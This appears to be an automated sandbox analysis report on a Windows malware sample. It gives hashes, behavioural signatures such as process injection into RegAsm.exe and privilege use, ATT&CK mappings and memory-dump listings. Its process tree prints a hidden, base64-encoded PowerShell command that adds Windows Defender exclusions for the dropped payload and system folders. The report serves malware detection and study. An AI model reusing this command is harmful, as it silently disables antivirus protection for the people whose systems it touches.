4bcbb8983fe7425976c5a1789deff73fb138e80981f5ebfef1f835bcc6757760

Resubmissions

14/04/2025, 07:51

250414-jp1kfssjz9 10

14/04/2025, 07:46

250414-jl9nyssjt9 10

08/04/2025, 15:58

250408-tevasswl18 10

08/04/2025, 14:19

250408-rm2nqsvqw2 10

Analysis

max time kernel
101s
max time network
148s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20250314-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system
submitted
14/04/2025, 07:51

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General

Target

f6ac1ea5c19284854998f25244a12f25.exe
Size

654KB
MD5

f6ac1ea5c19284854998f25244a12f25
SHA1

99fbd0be6020def40eedb33c453c9e516d39ddb4
SHA256

10478f3361a6cdb5ce48bf9490ea60505e90ef4f9649973ca35bdcf43af1f4b9
SHA512

b2415c9af9284eebc053ef56c82ad15043b713d38c6fca1cabdbeff0d726f9f956bf56655c60f0d6ec95ef5150e50da1a539cbef5502dd032399721a545badda
SSDEEP

12288:slGjIbKjk/x78IANpdqAUJeBrwwsRpIFgVXC0xi8/+b7LegZSv:uGcbKj+d0dzAZVXObfeoG

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4544	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5692	Item.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5692 set thread context of 6092	5692	Item.exe	93

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4544	powershell.exe
4544	powershell.exe
5692	Item.exe
5692	Item.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	2428	f6ac1ea5c19284854998f25244a12f25.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeIncreaseQuotaPrivilege	4544	powershell.exe
Token: SeSecurityPrivilege	4544	powershell.exe
Token: SeTakeOwnershipPrivilege	4544	powershell.exe
Token: SeLoadDriverPrivilege	4544	powershell.exe
Token: SeSystemProfilePrivilege	4544	powershell.exe
Token: SeSystemtimePrivilege	4544	powershell.exe
Token: SeProfSingleProcessPrivilege	4544	powershell.exe
Token: SeIncBasePriorityPrivilege	4544	powershell.exe
Token: SeCreatePagefilePrivilege	4544	powershell.exe
Token: SeBackupPrivilege	4544	powershell.exe
Token: SeRestorePrivilege	4544	powershell.exe
Token: SeShutdownPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeSystemEnvironmentPrivilege	4544	powershell.exe
Token: SeRemoteShutdownPrivilege	4544	powershell.exe
Token: SeUndockPrivilege	4544	powershell.exe
Token: SeManageVolumePrivilege	4544	powershell.exe
Token: 33	4544	powershell.exe
Token: 34	4544	powershell.exe
Token: 35	4544	powershell.exe
Token: 36	4544	powershell.exe
Token: SeIncreaseQuotaPrivilege	4544	powershell.exe
Token: SeSecurityPrivilege	4544	powershell.exe
Token: SeTakeOwnershipPrivilege	4544	powershell.exe
Token: SeLoadDriverPrivilege	4544	powershell.exe
Token: SeSystemProfilePrivilege	4544	powershell.exe
Token: SeSystemtimePrivilege	4544	powershell.exe
Token: SeProfSingleProcessPrivilege	4544	powershell.exe
Token: SeIncBasePriorityPrivilege	4544	powershell.exe
Token: SeCreatePagefilePrivilege	4544	powershell.exe
Token: SeBackupPrivilege	4544	powershell.exe
Token: SeRestorePrivilege	4544	powershell.exe
Token: SeShutdownPrivilege	4544	powershell.exe
Token: SeDebugPrivilege	4544	powershell.exe
Token: SeSystemEnvironmentPrivilege	4544	powershell.exe
Token: SeRemoteShutdownPrivilege	4544	powershell.exe
Token: SeUndockPrivilege	4544	powershell.exe
Token: SeManageVolumePrivilege	4544	powershell.exe
Token: 33	4544	powershell.exe
Token: 34	4544	powershell.exe
Token: 35	4544	powershell.exe
Token: 36	4544	powershell.exe
Token: SeDebugPrivilege	5692	Item.exe
Token: SeDebugPrivilege	6092	RegAsm.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 5692 wrote to memory of 6092	5692	Item.exe	93
PID 5692 wrote to memory of 6092	5692	Item.exe	93
PID 5692 wrote to memory of 6092	5692	Item.exe	93
PID 5692 wrote to memory of 6092	5692	Item.exe	93
PID 5692 wrote to memory of 6092	5692	Item.exe	93
PID 5692 wrote to memory of 6092	5692	Item.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\f6ac1ea5c19284854998f25244a12f25.exe
"C:\Users\Admin\AppData\Local\Temp\f6ac1ea5c19284854998f25244a12f25.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2428

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAEQALQBtAFAAUAByAGUARgBlAFIARQBuAEMARQAgAC0AZQB4AGMATABVAFMAaQBvAE4AUABBAFQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBzAEYAaQB4AGUAZABTAGkAegBlAFwASQB0AGUAbQAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0AZgBvAHIAQwBlADsAIABhAGQAZAAtAG0AUABQAHIAZQBGAEUAUgBlAG4AQwBFACAALQBFAFgAYwBMAHUAcwBJAE8ATgBQAHIATwBjAGUAUwBTACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBzAEYAaQB4AGUAZABTAGkAegBlAFwASQB0AGUAbQAuAGUAeABlACAALQBmAG8AUgBDAEUA
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4544

C:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exe
"C:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5692
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6092

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y1msc5fj.ieq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\IsFixedSize\Item.exe

Filesize
654KB

MD5
f6ac1ea5c19284854998f25244a12f25

SHA1
99fbd0be6020def40eedb33c453c9e516d39ddb4

SHA256
10478f3361a6cdb5ce48bf9490ea60505e90ef4f9649973ca35bdcf43af1f4b9

SHA512
b2415c9af9284eebc053ef56c82ad15043b713d38c6fca1cabdbeff0d726f9f956bf56655c60f0d6ec95ef5150e50da1a539cbef5502dd032399721a545badda

Download Submit
memory/2428-22-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-18-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-2-0x000002241C5C0000-0x000002241C6CA000-memory.dmp

Filesize
1.0MB

Download
memory/2428-26-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-24-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-58-0x00007FFD7AC10000-0x00007FFD7B6D2000-memory.dmp

Filesize
10.8MB

Download
memory/2428-61-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-67-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-65-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-63-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-59-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-56-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-54-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-48-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-46-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-44-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-42-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-40-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-38-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-36-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-34-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-32-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-30-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-28-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-1-0x000002241A8A0000-0x000002241A948000-memory.dmp

Filesize
672KB

Download
memory/2428-14-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-0-0x00007FFD7AC13000-0x00007FFD7AC15000-memory.dmp

Filesize
8KB

Download
memory/2428-10-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-8-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-52-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-50-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-6-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-4-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-3-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-20-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-12-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-16-0x000002241C5C0000-0x000002241C6C6000-memory.dmp

Filesize
1.0MB

Download
memory/2428-2787-0x0000022434E70000-0x0000022434EBC000-memory.dmp

Filesize
304KB

Download
memory/2428-2786-0x000002241C6D0000-0x000002241C726000-memory.dmp

Filesize
344KB

Download
memory/2428-2788-0x0000022434EE0000-0x0000022434F34000-memory.dmp

Filesize
336KB

Download
memory/2428-2801-0x00007FFD7AC13000-0x00007FFD7AC15000-memory.dmp

Filesize
8KB

Download
memory/2428-2803-0x00007FFD7AC10000-0x00007FFD7B6D2000-memory.dmp

Filesize
10.8MB

Download
memory/2428-2809-0x00007FFD7AC10000-0x00007FFD7B6D2000-memory.dmp

Filesize
10.8MB

Download
memory/4544-2789-0x00007FFD7AC10000-0x00007FFD7B6D2000-memory.dmp

Filesize
10.8MB

Download
memory/4544-2790-0x00007FFD7AC10000-0x00007FFD7B6D2000-memory.dmp

Filesize
10.8MB

Download
memory/4544-2800-0x000001F7FA790000-0x000001F7FA7B2000-memory.dmp

Filesize
136KB

Download
memory/4544-2802-0x00007FFD7AC10000-0x00007FFD7B6D2000-memory.dmp

Filesize
10.8MB

Download
memory/4544-2807-0x00007FFD7AC10000-0x00007FFD7B6D2000-memory.dmp

Filesize
10.8MB

Download
memory/4544-2806-0x00007FFD7AC10000-0x00007FFD7B6D2000-memory.dmp

Filesize
10.8MB

Download
memory/5692-2811-0x00007FFD7AB60000-0x00007FFD7B622000-memory.dmp

Filesize
10.8MB

Download
memory/5692-5596-0x00007FFD7AB60000-0x00007FFD7B622000-memory.dmp

Filesize
10.8MB

Download